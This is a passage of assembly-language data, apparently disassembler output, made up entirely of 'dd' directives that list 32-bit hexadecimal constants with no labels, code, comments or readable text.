		dd 0C42C945Bh, 0D006B993h, 0F9771378h, 0A91B507Ah, 31706061h
		dd 0BA6E409Eh, 3812994Ch, 19A07747h, 100330B8h,	0EF9292C1h
		dd 0C03EDEABh, 8A64D132h, 9BBCFE19h, 8443FD24h,	0DB0D47F1h
		dd 0D501C6FBh, 3D0C0A40h, 7952C6A9h, 69A0D525h,	0C6A58B01h
		dd 0F652000Dh, 3C28CF79h, 10F4DF7Ah, 5CEEDABFh,	6BF3A852h
		dd 0E9AE14E4h, 24E7A7DDh, 1A72FD7Eh, 8D2EDBD3h,	0CA2B5727h
		dd 0BB43D053h, 43C1AA0Eh, 4309F3C8h, 0B8BA4A52h, 0C9484B19h
		dd 6F4E5AE1h, 0AA529082h, 73AA25F5h, 9E5E8484h,	36A19AC9h
		dd 0A3338E54h, 0EE0BDEC1h, 724670A9h, 5CE9D55Eh, 50A8DDE0h
		dd 4EF10DEEh, 5D12153h,	0C562690Dh, 0B0BD2A67h,	12BAE5B9h
		dd 4FC3E3A2h, 8AF528E6h
		dd 0C88A220Fh, 3CE5AEEDh, 7596DAB4h, 3DFDAE30h,	69DA9F41h
		dd 6475AE2Eh, 76C58DBFh, 2A99F75Ch, 0E5889D67h,	708FE392h
		dd 0EA1FB94Dh, 0C8E55E79h, 36681A68h, 6F315F9Bh, 0C65C607Ch
		dd 102C6F37h, 0B5F0D07Bh, 1D1A0423h, 1D52BB3h, 8D60BE34h
		dd 820025F3h, 4ACBA2D5h, 668E5CA1h, 9D8DD2FAh, 2D040BEFh
		dd 91192CD0h, 0A2525FBh, 0B7565B14h, 84BA0654h,	0BB53F382h
		dd 0EC7B74F5h, 0B549363Dh, 99CFEF25h, 56C1E78Fh, 89DC484Bh
		dd 91147439h, 187641D4h, 0E390D7AFh, 0F6842706h, 55CE6B75h
		dd 0C2683971h, 78BD433h, 8CA1DB5Bh, 208F3D79h, 0F9413B3Fh
		dd 8091E206h, 0BF83F5C1h, 70C5084Bh, 853225B0h,	37600334h
		dd 0EC3CE274h, 52911C73h, 84617CC6h, 0A03C730Dh, 0FA515DA7h
		dd 349171Ch, 61328217h,	7A44AE1Fh, 0E4E25B2h, 0E1A672B1h
		dd 223ECF42h, 80EE1097h, 27D6EBC8h, 0B40A739Ah,	0B6665AA1h
		dd 0B08D8E85h, 5AD6E449h, 41C717E1h, 0A0ED016Ch, 0D6EB287h
		dd 0C4B141C0h, 7035FF68h, 5AE93513h, 0EF9D6A76h, 1496A19Ah
		dd 517B94ECh, 0B1FE6867h, 8FA856D0h, 21FBC90Fh,	6B7789F4h
		dd 51043F5Eh, 43A22255h, 90B59871h, 9389EE4h, 7D18118Ch
		dd 4D416B8Eh, 0B2B110B0h, 0B1435A41h, 18CE04CFh, 83A3614Ch
		dd 0C46FBE16h, 0E20E8C5Ch, 0D4F50CAFh, 0CD8B9F07h, 5B683000h
		dd 80AEE10Fh, 492D718Fh, 0BF847F16h, 3978CB23h,	40E6384Ch
		dd 992BE305h, 0F2B4F5B2h, 21F859DCh, 0BBAB6AA7h, 40BF53D2h
		dd 46A8739Ah, 92913A9Bh, 9C3E0F17h, 21ED04A8h, 7AD11B36h
		dd 0B0956A83h, 0E54DC1ABh, 0BCA2DE63h, 0C2EE0D9Ah, 4E6A8425h
		dd 256E1C6h, 0FC1C0CD8h, 0DF95D2DFh, 0DCCF0463h, 88FF3CF4h
		dd 82DABCAEh, 8B733495h, 2FB0794Fh, 60ECF240h, 9C7ADE3Ch
		dd 920EFDAEh, 1C75E974h, 96166F12h, 2E911A23h, 44B10219h
		dd 0BACAF1E3h, 8170B146h, 0C6CD1D79h, 0CC477848h, 59A2081h
		dd 0D986FD20h, 9F1151CDh, 0BAE84CAAh, 7F8595A3h, 645B9230h
		dd 0B1D1B8EAh, 0C1ECE042h, 0BEAFEB24h, 6D574224h, 32DF9DC8h
		dd 0EAC9B873h, 0D16BD371h, 0F8E8657Ah, 2A989C04h, 4FD9ED9Ah
		dd 719446Eh, 0C74BBC14h, 0D2A98701h, 0EFEEBE7Fh, 0EFFEFF2Dh
		dd 16C9B069h, 63DFA795h, 0E732A3A1h, 9EFBE6Ch, 6BB108ECh
		dd 7A9DC4B5h, 0A2013A19h, 0AFE433Eh, 0F3C55771h, 4C5B10C3h
		dd 0FB733FC1h, 185D2402h, 8AA1C59Bh, 65B0970Fh,	0E7685397h
		dd 60EB3048h, 0F7E882E3h, 85C6287Bh, 0EC90E864h, 0DED58BCFh
		dd 951CF00Fh, 6D12F38Bh, 882CBBB2h, 0AD8B3E8h, 8BD97BA4h
		dd 44033D55h, 0D56DFB82h, 0D60A9407h, 9E59E6B8h, 0DDE22B40h
		dd 4DA149A0h, 0AC6F1F67h, 734D010h, 52266BFCh, 0B9019A14h
		dd 0E619F48Eh, 8F683A9Ch, 0BAF20EC1h, 32868AEh,	352D5FDEh
		dd 33E6B532h, 4C626C7Fh, 0ADAA942Eh, 44D3CEA7h,	5377710Ah
		dd 0DEABA87Dh, 7C144E46h, 0BDF24CE2h, 950E65C6h, 335C4F1Fh
		dd 4F45771Bh, 7C25E9B3h, 0DAE37711h, 9FD6FE5Dh,	62D6915Ah
		dd 0DDFAECC2h, 6FFC51E7h, 0B7D953A1h, 0D16F00A7h, 47083928h
		dd 9857D8C2h, 0B3A1B513h, 0A66F94ADh, 39DE5557h, 0DE43B466h
		dd 0A88C87B1h, 0C978475h, 0B3BE7FAEh, 0D1491A3Ch, 8B515A35h
		dd 0A2FE3ABFh, 9F987D2Fh, 0D82ADC7Eh, 0A06058ABh, 310EB80Dh
		dd 2799F19h, 0B47DC823h, 9739944Bh, 491D54Ah, 0E408A599h
		dd 264622A5h, 0D558F6F3h, 5304EF5Dh, 0B96C56E9h, 2EC60F7Dh
		dd 0EBECC527h, 0C3752A67h, 1926C47Dh, 0C9A6ABBh, 1A64DDDEh
		dd 2A614B09h, 0A27FF315h, 2D405A0h, 1876E689h, 4EE97894h
		dd 7D145A8Ch, 92BFC796h, 0AFDCAC1Bh, 0FECFAA5Dh, 66671240h
		dd 0CA4EFA47h, 0D63AF303h, 84785201h, 0DB77A4F0h, 0DCA2CEA6h
		dd 0B64DE4D0h, 17E74B77h, 0CEF7058Ah, 0DCF0083Bh, 83A7DFD1h
		dd 6EE82F60h, 0DA19DD7Eh, 0AF5F0CA7h, 0B4F8B2C8h, 0FF03408Ah
		dd 875360F9h, 0FF07B84Eh, 0CB57A43h, 1ABC7857h,	0E8E1456Eh
		dd 0B1B2CC9Ah, 9F6B6375h, 56CB219Bh, 0BDB16791h, 0BB0A178Ah
		dd 0F4FE5506h, 39BD9848h, 1201875Ah, 0B5C3CAFh,	0ED302C48h
		dd 9DAC0C6Bh, 8F14C465h, 20B52B84h, 0DD4C635Fh,	0EDC866B0h
		dd 2FC5B017h, 0D64BE444h, 829E940Fh, 0DDDC7FADh, 3E781E37h
		dd 9CA51C92h, 205D6098h, 0A7213E30h, 63ECD211h,	1E68A494h
		dd 4363255Dh, 0A7446346h, 12C9288Bh, 0F6AEC5C6h, 0D5946F48h
		dd 929EEB5Ah, 0B64A2900h, 0B1BFC080h, 7CD1B349h, 226771Fh
		dd 0A8130539h, 0A555C6B1h, 52DDEC5Eh, 811AD656h, 6F26B580h
		dd 0DF6E5950h, 0DA0DF636h, 3A5E5698h, 42DE7052h, 7EFCA479h
		dd 31C316D1h, 0B553CE5Eh, 8A90A955h, 0AE8D52BCh, 501DFB66h
		dd 7B00405Ch, 630660B9h, 0F53A1409h, 4F4EC86Ch,	0F2CB43D8h
		dd 50DDCF69h, 0F5884933h, 9898DC42h, 0AD3F139Ah, 9AABD46Ah
		dd 1EA963B5h, 534F4AA9h, 903B4AD2h, 0DE4FC1BBh,	41FFE4E2h
		dd 1ED81CFEh, 925A5018h, 0DA490A45h, 0C2E9ACAAh, 0EEE6DAE3h
		dd 0FD83737Eh, 68A28A9Eh, 0ACB49CB8h, 9F25657Fh, 9F53B7Bh
		dd 0C066E48Bh, 8A58546Bh, 4C29B5Fh, 98399954h, 6995F5FFh
		dd 2DF744A0h, 0D381B111h, 0B611B26Eh, 0DC47D02Fh, 0C8074E0Bh
		dd 5395DC27h, 8923F806h, 92300E80h, 341EBC44h, 7E2CFF1h
		dd 1825E5B2h, 0CD0FC489h, 0D0D0834h, 7585AF23h,	0F7DA30FCh
		dd 9A2B0E19h, 8EDDED02h, 47EDBB95h, 6A2A321h, 636ECC0Ah
		dd 0CC8E593Fh, 0EF7BD933h, 33D785C7h, 51BAFAA8h, 0BF107856h
		dd 0A7FDCFFDh, 2DE60B57h, 5124699Eh, 7EE457E9h,	0EB74C9DDh
		dd 7FBE81D3h, 0BFF7CB0h, 604DFE4Ch, 0B272AF6Bh,	0C876498Ah
		dd 0B8F0BE8Fh, 7E66D26h, 31C6AD32h, 0E0A69681h,	15F8B1ADh
		dd 12165F4Bh, 0EE916E1Fh, 3B3FFB7Ch, 5CFB311Fh,	6990D838h
		dd 70C20B65h, 887B36E2h, 0F540187Bh, 0F3A64A8Ch, 5C0659E8h
		dd 1166412Ch, 824648ABh, 3FB21358h, 0E3F8EF09h,	3D83588Fh
		dd 0F7AFCAAAh, 9AD61498h, 0CC4E6DABh, 49E13E0Ah, 92E04181h
		dd 0F261CA02h, 0EA11CCA9h, 62535715h, 19012244h, 3A8C835Ch
		dd 92DE818Fh, 0F8336DE2h, 0C7338FEAh, 0CB115051h, 8A5FFAF3h
		dd 0AD185A27h, 0E816A83Dh, 0C0597EE0h, 0BCEF52AEh, 30A99F0Ch
		dd 0F3C05088h, 6EECB003h, 0D719FC35h, 0F6246199h, 111F2FBDh
		dd 89424907h, 934E1983h, 0C9EF4D16h, 20F26820h,	8FB76E5Dh
		dd 0DDFB119Fh, 8E62F9D4h, 13938153h, 0AE4D0B54h, 8A19250Fh
		dd 7F750250h, 0EC9404FBh, 0CA6A39D3h, 0B06DD3C2h, 7F0CCABBh
		dd 38C2ADC1h, 89BD0522h, 5076F510h, 89216D2Bh, 2782B344h
		dd 3463BD78h, 8CED6C88h, 0F9ECB91Ah, 0C57FE9A5h, 0A304111Ah
		dd 0CA7B1D45h, 0CF077E9Fh, 71A50362h, 39E75DE3h, 785F824Ch
		dd 727D866h, 4789617Bh,	0A47B36C0h, 92E82FDDh, 5936711h
		dd 0D8E6491Ch, 3915B13h, 9BB60913h, 0C5C0F2CCh,	3AF14D7Dh
		dd 0B15A4169h, 0D1994EDBh, 35739F26h, 0CDD900E0h, 7988FDE3h
		dd 0BB8FBA98h, 60B6B019h, 13B10D4h, 8299A4CCh, 1A0970A7h
		dd 9A221926h, 750D29F2h, 0E5751F38h, 0C689F0F0h, 0D0FD8FBDh
		dd 0D195C7CBh, 0E74B7976h, 57AEE2A0h, 0C3F332C0h, 3148C613h
		dd 997FB33Bh, 0F87875FFh, 0C281DD78h, 0D5F1748Eh, 5506D5A5h
		dd 3D33EEC8h, 0B9D490E7h, 6D0385CEh, 7215565Ah,	6BF12D48h
		dd 7E251848h, 0B2053E4Ch, 0BE4C0CD2h, 8B7A5E8Bh, 103EDD64h
		dd 3EBBE757h, 26A71CC5h
		dd 6BEAC5CEh, 9BE9ED92h, 136D367Ah, 1FA7A3CDh, 5E7E1D22h
		dd 0E48567A5h, 24231ADDh, 0B3BA3628h, 0E7703B28h, 465452F3h
		dd 438CC135h, 0CE6136h,	8AFFA8C9h, 584F7045h, 69C55866h
		dd 1457733Eh, 4F7D9247h, 0FF7DBE66h, 643B914Ch,	7250B26Ch
		dd 0BDDDB547h, 8F21E6DAh, 0DFAB79B9h, 0B8B594F7h, 9A8F7FB1h
		dd 9BC00CCDh, 2C642553h, 0C4A02527h, 417A8698h,	45747B15h
		dd 160BD121h, 0F1B3363Bh, 0AB4AFD62h, 0C14A581Bh, 3CABAD59h
		dd 4C5AA772h, 0C2949510h, 330801E1h, 6065C836h,	42119D0Eh
		dd 0E4B721F0h, 83493CCDh, 74840864h, 0E53EFF44h, 0A1BB5DC3h
		dd 480B306Fh, 0AF495F1h, 3E1BA90Ah, 7A4641CEh, 0EBBBC738h
		dd 77915B9Fh, 0AE0C03FDh, 0B962042Ah, 0D5840352h, 0A4DF01B0h
		dd 23701FC7h, 0DCD52FF6h, 8B6AE421h, 0B7E80706h, 0BFEC7D6Ah
		dd 0C751DD0Ch, 4C2B548h, 4023B871h, 9F4320E8h, 81BB1B9Fh
		dd 31E0EE60h, 0ADC6644Ch, 0BEBE0006h, 0DC51CF01h, 9BB7FEDAh
		dd 0F2973C81h, 0E063BDB1h, 75B696FAh, 175C2B00h, 0B028734Dh
		dd 0C46F1B97h, 2780C001h, 3AE0A354h, 878320DBh,	0FD7AD92Ch
		dd 0B4492F28h, 0A9E2D3h, 0CF8E9311h, 0DC93F54Eh, 788182F6h
		dd 0ED555704h, 0BCD9B84Eh, 0C5C2B2DAh, 0C40CA41Dh, 25716B1Eh
		dd 60A972BAh, 707F80B4h, 19A5FA50h, 0B4C1E147h,	0A90DD361h
		dd 0F2717D9h, 45757B3Ch, 72B10C4Bh, 0A577EAA0h,	76B554ADh
		dd 67AEEA7Bh, 0FBFFB397h, 0DB2C7ED7h, 7CAA295Eh, 3C65A3CAh
		dd 1B25FD81h, 78F0431Dh, 0DB9D1667h, 0FAFA49E3h, 0E4BBA1E1h
		dd 0C1114F96h, 42139FB1h, 90637A29h, 0FB146082h, 52860E7h
		dd 5E376495h, 4F45A5F4h, 0E028A8E7h, 0F0CDF292h, 0F725B0AEh
		dd 6010320h, 62207F73h,	2CE1F967h, 0D8BB5B13h, 4FAF9AF9h
		dd 48254443h, 9B20BBB6h, 56768FAFh, 0A982A820h,	0AFC29EDBh
		dd 0E9DDC1Fh, 338C59B9h, 0DC4C8D58h, 0A57DADA1h, 0ACCAF3ADh
		dd 6EC04B98h, 44278B74h, 0FA952646h, 3DE62E95h,	89E3793Dh
		dd 92B45789h, 130EFFCBh, 8782CA0Dh, 41E46264h, 89E3CDABh
		dd 8B07E853h, 0E28B265Ah, 40AB0FBAh, 49AD11D9h,	0FD621C9h
		dd 25023827h, 55BF1B67h, 0D9258631h, 0C0A98FDFh, 1C003F0Fh
		dd 1FD708E8h, 6687A54Dh, 1ED92538h, 4A102EABh, 0F4EE8B6Dh
		dd 0D12164A2h, 14A18B61h, 9EF0E5FCh, 6DFDFCF6h,	0FE1821D5h
		dd 3F354611h, 1F416BD1h, 0F6A04809h, 67AE66F5h,	433140FAh
		dd 0B590E90Fh, 0B8B6E3F0h, 0CBDD88BAh, 46E74AD9h, 3B47FF98h
		dd 28C02CAEh, 44DACF4Fh, 0A54E02BDh, 371FC231h,	7A70532Bh
		dd 89CEF423h, 3885D137h, 1EB9F1h, 4B2ED9D9h, 85924D9Ch
		dd 57A0E74Eh, 8CF8F9E8h, 80CBA438h, 0D2623D4Dh,	723B76B4h
		dd 9BA3D3Fh, 0A6C13E01h, 13F7035Dh, 0EB76FE1Ch,	0A33BCEFAh
		dd 36E837E7h, 75ECE76Ch, 4E549D9Dh, 49FCA6Ah, 9CD9C513h
		dd 1AA710F6h, 0CB2CD245h, 0E89DC3DAh, 0B3FD99FEh, 92C27F4Dh
		dd 90DF9019h, 182F6D0h,	0B54FD13Bh, 0FDE78162h,	0E6993181h
		dd 3081878Eh, 0C68F956Bh, 2ABEF77h, 0F0562250h,	2D132D4Ch
		dd 0CF246FE5h, 0B81E8AF6h, 0C42655D4h, 16E57104h, 8AEBAB0Fh
		dd 483A2D7Dh, 98AD8B93h, 287D9C69h, 0AB4063C6h,	21F7E60Dh
		dd 295CC0E3h, 8FFD6A1Ch, 11B929C6h, 0C0C1B124h,	73EAF4A6h
		dd 0D7CE72E7h, 2E8F81AFh, 7CB60F1Eh, 0E6A5A3F9h, 0C2B59EBEh
		dd 0A2FA209h, 0BB9286DCh, 2BE2CEC7h, 80140F3Bh,	8107019h
		dd 76C5E967h, 96CD2A73h, 808DB406h, 0FB10DBC3h,	566E9D1h
		dd 0B9071FC5h, 0CAE09CDBh, 0B94A001Fh, 27429A86h, 0EC04B635h
		dd 0D8971EF7h, 0C1109CCAh, 0D17B1FFDh, 3C524D16h, 0BD47E59Eh
		dd 9F85954h, 0A4623CCCh, 0BAC4A9E0h, 6C190BD9h,	5626F2D9h
		dd 0BA582A12h, 0A8322A0Ah, 8C0A8377h, 5AF3275Fh, 2AB21A55h
		dd 6C40A715h, 0EAF98D76h, 21A03C23h, 0CFDD6D02h, 0D51113Eh
		dd 0DC322504h, 203844F1h, 51310501h, 38A13CE5h,	0AFF527B8h
		dd 38130BEDh, 0FB673AFBh, 10999112h, 2DCB34D0h,	264A4DFDh
		dd 26A505D9h, 872C9F73h, 634B3714h, 5CC5434Ch, 0BB617CF8h
		dd 2B97D9ECh, 0E31E17DEh, 1B1BBBE7h, 75EA7BBBh,	84C0D938h
		dd 32E9B0AFh, 0C9BDE8D0h, 3F7B457h, 2FEC833Dh, 1701F84Eh
		dd 0B2C88E77h, 664AB87Bh, 48765AA1h, 4C861AD9h,	0AD3301A9h
		dd 84B4E8B2h, 0E3D4F2E6h, 40DAA280h, 0B7F4EAB2h, 5EE5FC5Bh
		dd 4D5A0957h, 0AB02855Fh, 0B2A994EEh, 9DA464Fh,	326D5933h
		dd 74315F44h, 5E7D6973h, 64EBE7D0h, 48760629h, 6C53FCCCh
		dd 1E3BAD06h, 4FC12E2Dh, 0CEBEB343h, 2B905930h,	64D3FA03h
		dd 0F9439615h, 748B7450h, 0EA961F1Bh, 2EDA2DBAh, 0CF666721h
		dd 0FE966B41h, 4853D646h, 6B8D291Ah, 1622737Bh,	2FAA2CBh
		dd 0C347301Eh, 0C37131A2h, 1144107Ch, 800CE01Fh, 34DAB7ECh
		dd 0D7A27C79h, 6FD29665h, 7E70B605h, 3994C98Eh,	4C72961Fh
		dd 67266314h, 0A47B3AF9h, 18B2DA64h, 0CEF8E66Bh, 0AB7E5B3Dh
		dd 35247C7Eh, 40FA1302h, 932C88E0h, 0E34AAC7Ah,	3668670Dh
		dd 8C87F993h, 0A39617A5h, 79D11D1Ch, 62F5DF1Eh,	159DA1A3h
		dd 0DA1776CBh, 7583DB87h, 2ED734A6h, 6E1C4267h,	0CA83F3BCh
		dd 2604888Bh, 9B09C9A7h, 8D820AE0h, 0A511E11Bh,	86A1A56Fh
		dd 7F7C5894h, 390D9FE3h, 59F53Eh, 0B418D736h, 0ADA83AD6h
		dd 78652AD0h, 7581962Bh, 0BE92A1F6h, 78CF23E7h,	46924775h
		dd 7291474Fh, 340CDD37h, 7F9AF0E6h, 41C9F7CDh, 0EDFA03D6h
		dd 1CBB7155h, 0CD9BD228h, 6C6D351Ah, 4EDA692Fh,	0A5D2E485h
		dd 0A071E9E8h, 0F0914CAEh, 5DFDC431h, 688C3DB8h, 0D0189171h
		dd 0E02C2E7Ah, 783106E9h, 9201A164h, 34D40FFAh,	0F5D203A9h
		dd 0A87B7B45h, 1FD158A2h, 0A8D8113h, 0C97BA43Eh, 0ACAC966h
		dd 6179F289h, 5E1CBE01h, 0C3EF1ABEh, 4F677D62h,	33F5FA0Bh
		dd 66E5D9DEh, 56A5C3B3h, 0D427A6C1h, 3015DD50h,	0BE938BB5h
		dd 0E4504DF4h, 0FBDBB542h, 0B1F016F1h, 5AC08FF8h, 0D66C3B1Dh
		dd 91C915BCh, 4B529CB8h, 7F34AD4h, 9FA39A33h, 2FB1C4A7h
		dd 995A60CCh, 6A83CAA9h, 3E7947EBh, 276BEAEAh, 6EB5FE4Fh
		dd 1DC2814Dh, 552A6EFFh, 9FDEA3F8h, 41E33DB5h, 6DDEEB95h
		dd 0E234E596h, 2F1EAA65h, 985FEC41h, 3B771DA4h,	0CB2CF6CBh
		dd 0E0FA8650h, 0C88199FAh, 0B353D675h, 0D96A0660h, 4135F0Ah
		dd 0D6DA16C1h, 0F37F77AAh, 81C0464Eh, 9948EE99h, 9693B599h
		dd 14ACD888h, 0B1DD4095h, 64549B34h, 59B83975h,	0E652967Fh
		dd 0B40ACB85h, 0B9B1CAF5h, 5CEA85Dh, 0D0CDC9D6h, 0A00B5778h
		dd 441BD419h, 4806D020h, 0A653F669h, 0DE28ACAh,	653D0C97h
		dd 5C99E445h, 0EF8BB351h, 51FACD23h, 8693B72Bh,	439359B1h
		dd 0C5849B29h, 18EDDAE0h, 5A7BA857h, 52407771h,	1F7FC083h
		dd 0F493B43h, 0A6232A47h, 6DCC751Fh, 7AE4A4A1h,	96443B8Dh
		dd 0DC2795B5h, 2FBD4BA8h, 6DEC52ECh, 0D09F0DE3h, 0A3BF7F84h
		dd 95D8B64h, 8C92C64h, 92784025h, 0F8E2DA5Eh, 99A5FC30h
		dd 129FD1Fh, 68C71469h,	4C23B2EBh, 9FFF35E8h, 0BFB55A48h
		dd 9ABF0478h, 0D0A23785h, 3D81D3E1h, 25D58992h,	0D7C92893h
		dd 0DC66C562h, 3A63976Ah, 0C834422Bh, 0EFD5CC1Ch, 0C55A74C6h
		dd 0C5AC0F59h, 7CEE7EBDh, 0C09D01Fh, 6F59868Eh,	189430E1h
		dd 209E3CC5h, 64BF807Fh, 0F791AD3Eh, 0B599DBC3h, 0D1700F32h
		dd 0F386566Ah, 10134BB4h
		dd 0B17FE964h, 5330832Ah, 0F12C372Eh, 0E1989E51h, 0DEA43D4Bh
		dd 8E22175Eh, 823DB267h, 61678C9h, 964DC72Bh, 0E37EC2BBh
		dd 29FE4BD7h, 0A9FDF0E5h, 0EA07D53h, 896C5D4Bh,	0A601844Fh
		dd 0CDD3ADCFh, 307CE6DCh, 562CD748h, 5968107Bh,	0A716E408h
		dd 4470CB53h, 1B20FC4Ah, 25ADEDF5h, 0D415529Ah,	0A1869B96h
		dd 8AF37BB9h, 0E1DEF214h, 8A84E683h, 0C4344D19h, 0B0835401h
		dd 27F3B0E3h, 0E2BBE011h, 0AB140090h, 695BC229h, 0E2707794h
		dd 182EA5C0h, 25D084D0h, 0C2F5A06Eh, 0BCCB2C67h, 0DA5A9663h
		dd 80050A6Ah, 3AE64DD5h, 4009FE47h, 0B4EA79CEh,	0A8DE034Bh
		dd 0DC1CDA8Bh, 0A4A8E440h, 1D679A06h, 2AA37E3Bh, 0E389C9BCh
		dd 9535E93Ch, 24B7803h,	39E4E112h, 23321F45h, 3695358Ah
		dd 5A326E0Eh, 7CF24345h, 0B70BE59Ah, 0E1F738BAh, 0FF62100Bh
		dd 0EE35951Eh, 0B957D819h, 5AF83EDDh, 3242FAC4h, 0DBFA4FD9h
		dd 3AAE76CAh, 265C16A1h, 1AD7B87Bh, 6DBA8F68h, 0F7BE318Fh
		dd 1A2513BFh, 762EE332h, 678C56AAh, 0ED33708h, 0BC8EE7Ah
		dd 4EE2D58h, 0A9B42F23h, 0E0F1F2F3h, 7CCA1639h,	5B6065BBh
		dd 0E8D0A159h, 90DD9733h, 78DD591h, 0CC94166Ch,	395F10A2h
		dd 180606E2h, 0AF3ADFB7h, 2CA556F3h, 69242627h,	5D86DFFh
		dd 39ED7DDEh, 0FB3BE8BEh, 4102E7ABh, 0BE53D0Fh,	467425AFh
		dd 0B0453F8Fh, 86AAE80Eh, 798EEA9Ah, 8B34651Ch,	78BDD2BBh
		dd 3D80041Bh, 1290B9ACh, 81BFC35Dh, 0EFA2CDDCh,	0EA2F6276h
		dd 2EB4401Dh, 3C249FBFh, 866C74FBh, 0D36B3CAAh,	0EC6129CFh
		dd 3A178874h, 0BD22C4CEh, 4FD50F9Eh, 0F1D13DE6h, 587BC84Eh
		dd 2B8A9E92h, 0CA76E6DFh, 0F94CB4EAh, 6B466246h, 0A4D61CCFh
		dd 65A92537h, 48C1C8BCh, 10782A06h, 0A90B55B2h,	9ECCF504h
		dd 0B1A93BD7h, 2AFCCAD3h, 0F9CCF426h, 0B486B5DBh, 0AC15102Dh
		dd 9C94DB88h, 0CCF106B0h, 9B54C788h, 0DEA16DF4h, 0D3C3D826h
		dd 0E29FD72Dh, 8A887A23h, 8999091h, 54D9F02Bh, 1DF1F995h
		dd 1B69617h, 7C15A243h,	0DE3B73Fh, 0CD53C6D8h, 5F4F3636h
		dd 47647627h, 661026A3h, 6A04B851h, 650E1BC6h, 0A90AE82Bh
		dd 0A081A609h, 0DD93CB14h, 0CB9802AEh, 2DA783h,	58DA36h
		dd 0A85EC952h, 4C07C80h, 62EDAA04h, 0A7A886BCh,	84BA8E7Dh
		dd 0DE6FD462h, 0D9EB04A8h, 15A9A16h, 1ACD463Ch,	0B4E6005h
		dd 0A294299Dh, 0AE4FDA2Dh, 5E7B3BDBh, 45423871h, 320809B2h
		dd 0A7FE888h, 6C17427Eh, 51036141h, 0BBA37C4Fh,	0A25B9E28h
		dd 7D8AF3D5h, 6AFE74D6h, 0E7E309C9h, 940EE15Fh,	0D3CDEEADh
		dd 0AAACFB7Bh, 0F6310E14h, 35964A4Bh, 7BC834E1h, 132AF1CDh
		dd 0CA774AFDh, 4524348Bh, 4E528161h, 3F2FA8EBh,	0E6D9556Ch
		dd 3E667A11h, 88196DF5h, 762457FBh, 0B5FDC698h,	0ADF493A9h
		dd 7D3730BFh, 69E22163h, 4AF51F8Dh, 681A83BCh, 91E1ADC4h
		dd 0D1BE1AD1h, 1008D078h, 7CF89F58h, 0B46D8054h, 2554926Ah
		dd 2C7FAEDDh, 0A5E84C8h, 0B3C65D8Ah, 39BDE455h,	52DE1A29h
		dd 6BC6458Ch, 17B79129h, 0ED968D04h, 17DA0D49h,	74A8B9E9h
		dd 4800AEDDh, 7029A7F1h, 60D1782Fh, 807B0888h, 0BE42E48Eh
		dd 7E4D1E76h, 896534EFh, 0D9EAD6CFh, 341A3E3Ch,	9E7A1059h
		dd 5CCF64D5h, 0F08D6048h, 440CBDFDh, 3CC8BEBh, 4CFB1203h
		dd 8F448BC5h, 31E19F5Bh, 0BBA26A32h, 93F08732h,	59385F62h
		dd 0E854832Ah, 33FC0AB3h, 0EF683D05h, 5C121FB6h, 0D448B84Eh
		dd 0DF53BC06h, 4BAFA494h, 0EB0C0B67h, 3FE5C7D9h, 0B40677EBh
		dd 820B2959h, 0EA95E79Ch, 65BC0D22h, 7C9E98DEh,	0D4841E31h
		dd 243CA2Eh, 0D0FBF6EDh, 275B7FCh, 0B95F7AEBh, 39B06079h
		dd 0C5BE0AAAh, 6E746F57h, 0DB10E871h, 2CF4E95Fh, 0B739E971h
		dd 87D91664h, 82C031B9h, 9D30B6A6h, 4628ED65h, 0A1EABDA1h
		dd 8CA2CF2Ch, 53B6FB58h, 3460BAF6h, 75A52852h, 5410E028h
		dd 0D513E1DCh, 0C62A067Eh, 69113D3Dh, 40FB87C7h, 0D4CDD2C8h
		dd 9FE4EBABh, 0C429577Ah, 0F83CC9A0h, 60559490h, 5B991ACFh
		dd 0ABC64631h, 0AB9E3E86h, 0AEA1089Fh, 0DED0B28Fh, 0B5859EFCh
		dd 3D3942A7h, 0DF24D573h, 2966F3E0h, 14821AFFh,	8528FDA6h
		dd 5C83921Dh, 0CD41A49Fh, 666847FBh, 0F639696Bh, 0DF4419FBh
		dd 0E32D7749h, 0D472F188h, 235092CFh, 21B6A29Fh, 465F5D31h
		dd 35A79029h, 5977EC01h, 0BFCBF59Fh, 0C29611C5h, 3B6A23ABh
		dd 41936CA9h, 0CD22D205h, 130617EEh, 9B7A60F6h,	0AEC4AB82h
		dd 1F3CDA78h, 0E54F8689h, 0EB2E2ED1h, 67A20F4Bh, 22ECBED5h
		dd 6AE16ACDh, 7CB622ABh, 0AA72B0BCh, 0AC764146h, 0E771DF9h
		dd 20A54228h, 2D5486A4h, 42851328h, 85A27114h, 7D5FAA4Ch
		dd 106F2326h, 5C43CC61h, 21EA98B7h, 3BF9F996h, 35C47985h
		dd 0F6A898C5h, 2242A434h, 878A35CEh, 0A3FAA265h, 7CE895EEh
		dd 5F3E202Dh, 0C1175EBh, 0A1203855h, 0A8C06682h, 0D9779F6Dh
		dd 0D6F95993h, 0D5ECD088h, 0EDD59D61h, 6F2000B2h, 53688EA1h
		dd 0D14F1CFFh, 0E01DE12Bh, 91FAD48Dh, 33A22E81h, 0ACEC7908h
		dd 334E388Eh, 2966532Bh, 19581769h, 0EADA7F9Fh,	14644294h
		dd 0F849CEE9h, 23CA537Ch, 0FE03CFF5h, 0ACF510CCh, 7CBE624Ch
		dd 6F242603h, 0CB704D6Dh, 0A8F14A4Dh, 1934C67Eh, 7F6F9ABDh
		dd 3376FB86h, 87B304Fh,	996A851Dh, 26DEB976h, 0E52F4294h
		dd 525E1400h, 0F2EAFEE7h, 1F451E38h, 44778E47h,	0B572315Eh
		dd 6B239E1h, 35CF6B16h,	77889BC6h, 428EDE31h, 5856C6A3h
		dd 0F97C420Eh, 8E767B51h, 12A8A4F1h, 0A7955BE4h, 55CA20ADh
		dd 0FEA9F46Ch, 0EC11C557h, 488BB4C6h, 83A0F480h, 0FA7A12E1h
		dd 7E2D7BBDh, 42525B2Dh, 0BBBD78C9h, 9912C9C7h,	0CE3507F1h
		dd 0A270241h, 31EDAEA9h, 4BC49B3Ch, 3738C0A0h, 0EEA115DAh
		dd 60B580E1h, 655D9D1Ch, 7A8FEA59h, 0C6028FCEh,	85692190h
		dd 0CA462F56h, 277A31B4h, 98A323C8h, 8524E6F2h,	9E1AC020h
		dd 0C034264Eh, 4905D721h, 4D9D1074h, 46618B91h,	6E8FF55Eh
		dd 0CE4F3F39h, 7FC2E62Bh, 536ABCAAh, 0E6B9A227h, 24D89910h
		dd 88F4546Fh, 85AFEF96h, 2F15FBA4h, 1D4999C3h, 0E05C612Ah
		dd 0FC542140h, 11138A5Bh, 986D330Dh, 8B69CD54h,	0E9FC4EC6h
		dd 147B5F98h, 0F09512F3h, 247E49DAh, 734F6E44h,	1CD2C253h
